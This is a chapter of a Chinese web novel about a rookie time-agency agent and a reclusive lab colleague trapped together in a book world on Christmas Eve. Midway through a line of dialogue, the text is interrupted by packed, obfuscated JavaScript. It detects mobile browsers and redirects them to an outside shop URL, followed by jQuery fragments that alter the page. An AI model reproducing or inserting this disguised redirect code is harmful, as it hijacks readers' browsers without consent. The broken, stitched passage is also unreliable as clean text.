3. 他的名字

作品:《穿错书?不,那是恋爱事故

    蓝调的雪夜里,古老的钟声敲响了第十二下。


    马修是近些年新任的时空管理局(TSA)局长,矮矮胖胖,黑发灰西服黑礼帽,留着一撮浓密的小胡子,旁人总评价他优柔寡断,是个绝不肯出差错的老派绅士。


    面对这样的评价,马修局长本人倒是感到十分满意——永远不出什么乱子,正是他为人处事的第一准则。他也期待着整个时管局能和他一样:安静运转,就像他每日擦拭妥帖的钟表,每一秒都该走得精准而规矩。


    所以在这个本该围炉烤火,享用饼干的圣诞夜,时空管理局却陷入一片警报与红光闪烁的混乱中,马修局长发现追捕罪犯的全部希望竟系于一个毫无穿书经验新人身上时,他气得胡子变了形,几乎快翘得飞天。


    时予欢是个不太好被预测的女孩儿。不像钟表,每一分每一秒每一个行动都是能掐得准的。


    她今年夏天刚刚从第一守望学院毕业,当然,时空管理局作为时序联邦政治机构,观测、研究着寰宇时空的变动,能在这里任职,对于一个刚毕业的年轻人来说,仿佛基因彩票一样幸运!


    显然,马修局长并不相信一个刚毕业的年轻人,能承担如此危险的工作。


    “终止世界运转,想办法带她出来,神秘罪犯身份不明,我得先确保探员的安全。”他难得干脆利落地下派命令。


    研究员简小姐问:“男主呢?是否需要将其一并带出?”


    马修局长很随意:“那个家伙啊,别管他。”


    简小姐感到好奇:“他是谁?局长先生恕我直言,我没有在探员职工系统里查到男主的身份,他很奇怪,也没有获得任何行动批准。”


    马修局长下意识揉了揉鼻子:“他在时管局呆了有点儿年头了,我想想……好像是二十多年前吧,最高时序委员会(CC)曾特批了一位在时空破坏与生命毁灭上极具天赋的天才,作为特派专员在时管局任职。


    “我记得他一直在实验室……不过他的事不重要,你先想法子把女主给我捞出来。”


    马修局长不想在男主的身份问题上多说什么,像在保守一个秘密似的,似乎在他眼里,男主就算死在书里,也无关紧要。


    他更在乎那个见了鬼的!过不了审的任务!


    简小姐很淡定:“捞不了人,书中世界现在几乎处于独立封闭的状态,时空权限数据被罪犯破坏的很彻底,我们想干预,基本上得重头修起。”


    马修局长略感心酸:“加班吧。”


    听见这话的简小姐也很心酸。


    “……”


    一川雪幕皑皑,书中世界,思过堂依旧景致清幽,时予欢坐在院中屋檐下的台阶上,双腿盘坐着,抱着宛如笔记本电脑的虚拟终端干活。


    “我需要给咱们出勤考核打个卡,得借你身份牌用一下……你的呢?哦,在这儿。”


    身旁,她的好同事正用铁夹百无聊赖地拨弄着炭火,火星噼啪,映得他的侧脸一片倦懒的暖色。


    时予欢一探身,从他微敞衣襟上摘下一枚和她同款的亚克力身份牌,他撩起眼皮瞥了她一眼,没阻止。


    他的身份牌上只有一个光秃秃的「1190」编号。


    “你的名字是什么?”时予欢觉得应该是他穿书的急,还没来得及填,于是决定好心好心的代劳。


    风声呼啸,火声噼里啪啦的,吵,少年在喧嚣中低声开口,他回答了什么,空耳盲听的时予欢只捕捉到几个模糊的音节。


    “千、亦、久。”她在亚克力牌上写下了她能想到最接近的三个字,举到他面前,“是这个吗?”


    千亦久的目光落在上面,一停:“谢谢。”


    “我以前没在时管局见过你呢。”时予欢回忆了一下常出外勤的同事们,印象里没有叫千亦久的,况且他这么好看,要是见过,不该记不得的。


    千亦久眼帘垂落,平静道:“我……在TSA研究中心长期任职,常年生活在实验室,没有来过外界。”


    时予欢一愣:“你和我一样也是初次上任?等等,那你是因为什么原因穿进来的?”


    千亦久想了想,斟酌道:“今夜我本该一如既往呆在实验室,直至系统报错,我意外看见这本书启动后卷进了不该进的人,于是输入了一段逆向指令试图阻断,却反被错误投送,就这样。”


    时予欢忽然想起什么,疑惑道:“你今天早上在花园附近转来转去是……”


    千亦久漫不经心地生着火,默了默,说道:“尝试脱离本书,失败;尝试寻找漏洞,失败;尝试寻找失败原因,失败。”


    时予欢迟疑:“所以你现在……”


    “在思考下一个失败方案。”盆中火光恣意跳动,烘着融融暖意,千亦久抬手掩住了一个小小的,懒懒的哈欠。


    时予欢同情地看着他,他身上那种“这破班谁爱上谁上”的气场,简直在发光!


    千亦久对自己的气场一无所知:“只要毁掉这个世界,就能离开了。”


    喂,不要用一脸平静的表情说可怕的话啊!


    “但不是很想动手,也不是很想灭世。”千亦久语气平静,“因为有你在书里。”


    顿了顿,又说:“不想让你看见我杀人。”


    时予欢正要感动,觉得这是一个多么良善!多么包容的年轻人啊!为了同事而停止灭世,这该是何等宽广的胸怀,只是她怎么不知道自己何德何能,居然在他心里有这么大的分量?


    千亦久瞥了眼她一眼,眉梢一挑,又添了一句话瞬间掐灭她的怜爱:“主要是,被你看见我的违规行为,我还得灭你的口。”


    时予欢感动的心瞬间破碎:“不不不,你不能灭口我,我得抓罪犯!那个神秘罪犯几乎毁掉了时管局整个核心……”


    “不重要,不关心。”


    千亦久打断了她,他似乎想说些什么,静了几秒,却只淡淡的补了一句。


    “时管局毁灭了都跟我没关系。”


    时予欢说:“但,但是呢,这本书不完结我们是出不去的呀。”


    千亦久问:“我们能在一个章节内完结这本书吗?”


    “不能!”时予欢不得不解释,“我们得按部就班走完所有剧情节点,就像玩游戏那样……”


    话说到这儿,两个人都不约而同的想起了此前发生的,那嗖的一下弹出来,又嗖得一下完成了的任务。


    时予欢刚刚用终端回看了那个历史任务。


    那是个支线任务:牵手。


    见了鬼的牵手!有见过跟同事牵手的吗!系统奇葩!有病!


    时予欢有点儿抓狂。


    其实在时管局的数据档案里,是没有以恋爱为导向的时空任务的,马修局长曾抱怨过,说是系统攻略这种东西听着总感觉像人贩子……什么的。


    后来,局长封存了所有恋爱文。


    时予欢觉得自己大概只是纯倒霉,碰到支线任务意外紊乱,这只是黑天鹅小概率事件,下个支线任务总不能还是跟男主的肢体接触了吧,她不信自己真有那么非酋。


    况且只是支线,属于可做可不做的附加任务。


    她对自己的定力很有信心。


    想来千亦久也是和她一样。


    时予欢梳理完自己的行动规划,关闭个人终端,站起身活动了一下,很快就调整情绪踌躇满志。


    “走吧,让我们先离开这个漏雪的地方,去推主线。”


    她朝着他伸出一只手,似乎想拉他起身。


    ……


    ……


    ……?


    不动。


    千亦久一动不动。


    时予欢以为他介意那个牵手,强调道:“我保证我对你没有非分之想!这辈子都不会有!我们就是这世上最纯洁和谐简单的同事关系!”


    千亦久轻轻瞥开目光:“不是那个。”


    他低头望着眼前的炭火,眼帘轻轻垂落,仿佛蒙着潮湿的薄雾。


    “女主小姐,请您看看时间,现在是深夜二十三点三十分,距离明日九点还有九个小时三十分钟。”


    千亦久嗓音低沉,反复强调。


    “我是不会在非工作时间上班的。”


    “?”


    “如果您坚持要我加班,我会正式向最高委员会提出抗议,争取我的休息权。”


    “……”


    北风吹着一场大雪,时予欢在这场白色的风中呆愣了许久。


    她看了他很久,终于,慢慢在他面前蹲下来,像只森林里的迷途小鹿发现了新鲜事物似的,好奇地仰头打量着他。


    “那走吧,我们去过节。”她笑吟吟的,看了眼即将零点的时间,“这样就不算加班了。”


    想了想,又补充道:“我们去吃铃冬谷里最贵最阔气的酒楼怎么样?什么贵就点什么


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992035|193758||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,反正可以报销。”


    她早就饥肠辘辘了一整天了,下定决心要吃顿好的。


    千亦久眼帘轻颤,同她目光相碰,两个人在一场苍白的雪中对视了许久。


    半个小时后,时予欢坐在原地破防地啃烤红薯。


    思过堂还是那个思过堂,佛经还是那些佛经,炭盆还是那个炭盆——她从头到尾都没有出去过。


    “呜呜呜呜,也没人跟我说,我还得关禁闭啊。”


    尤其是她刚刚才夸下海口,要带着新同事冲进豪华酒楼饱餐一顿,却发现自己被鹿蜀王后的禁闭法阵关在这间小小的院子不得出去的时候。


    哦,甚至烤红薯都是千亦久从膳堂顺回来,用炭火给她烤的。


    “呵,我不会再笑了。”时予欢在赌气。


    “烤了两个红薯,还吃么?”千亦久对她的赌气无动于衷。


    “吃。吃大的。”某些人心口不一。


    他撩了衣服在她身边坐下,绀蓝的外衫敞开着,反而被穿出了长风衣的架势,衣角被风一掀,落落飞扬。


    时予欢原本想得很好。


    和新同事聚餐庆祝一顿,就当过节,也当鼓舞士气,两个人举杯一碰,她再加加油打打气,明天信心满满的为了工作冲冲冲。


    “很抱歉,本来是想带你过圣诞节的。”


    “没关系,我不过圣诞。”


    “好吧,很抱歉我原本想请你过冬至节……”


    “我也不过冬至。”


    “……”


    “节日的意义由人赋予,它和我无关,对我而言,这只是寻常的一天,没有什么值得庆祝的,你也不用向我道歉。”


    时予欢呆呆地看着他。


    千亦久望着漆黑的夜色,望了很远很远,就连声音也湮没在大雪里。


    “对你,对我而言,这都是糟糕透顶的一天,也不需要庆祝。”


    是糟糕的一天吗?


    是的。


    她业绩倒数,面临解雇危机,为保工作不得不来抓捕罪犯,却困在书中不得离去,罪犯下落不明,她的前途未卜,还作为一个不受阖族待见的落魄公主,即将面临的乱七八糟的相亲。


    太糟糕了,相信人生里都不会再有比这更糟糕的一天了。


    时予欢忽然噗嗤一声笑了出来,很轻,烤红薯的热气氤氲着她,让她整张脸都微微泛红。


    “不对,还是有那么一件事,是需要庆祝的。”


    时予欢咬了一口红薯,她忽然很想跟这位新同事干个杯,但眼下没有饮料,也没有杯子。


    落魄限制了她的发挥。


    天地间风吹白雪,雪落冬青清清冷冷,两个人并肩坐在屋檐下的台阶上,时予欢眨了眨眼,掌心摊开了一枚小小的亚克力姓名牌。


    是她帮忙填的,写着他名字的那个透明塑料牌。


    “我的那个呢?”她捏着他的小姓名牌问。


    千亦久不明所以,从袖中取出一枚同样的塑料牌——她的那枚在初次相见时就被取下来了,一直在他那儿。


    她问:“会碰杯吗?”


    千亦久捏着小小的塑料牌,更不明白了。


    只见时予欢伸手,举着自己的塑料牌凑上去,跟他的亚克力塑料牌小小的碰撞了一下。


    清脆的声响,轻,比晚钟声还好听。


    “既然你不过圣诞也不过冬至。


    “嗯……就庆祝我们的第一天见面吧。”


    天很静,静悄悄的雪色擦亮她的眸光。


    “那么,相遇日快乐!”


    她又笑起来了,与他冷着脸不同,她似乎总是在笑,额间碎发被雪吹得自由自在,唇角一弯,桃笑李妍。


    她举着自己的姓名牌,再次,轻轻在他的姓名牌上敲了敲。


    「时予欢」「千亦久」


    两个小小的名字,彼此相碰了一下。


    千亦久闭了闭眼,雪就栖在他眉梢上,小心翼翼的,像是在等他答她。


    等了仿佛很久,也仿佛只有一瞬间。


    他不确定该对此作出怎样的回应才是正确的,他讨厌工作加班,他被迫卷入这桩麻烦——这一切的一切都糟糕透了!


    他甚至不想去信任她,他讨厌信任一个人。


    但好吧,在和她散伙,在故事完结之前,他还是可以勉为其难的说一声……


    “相遇日快乐。”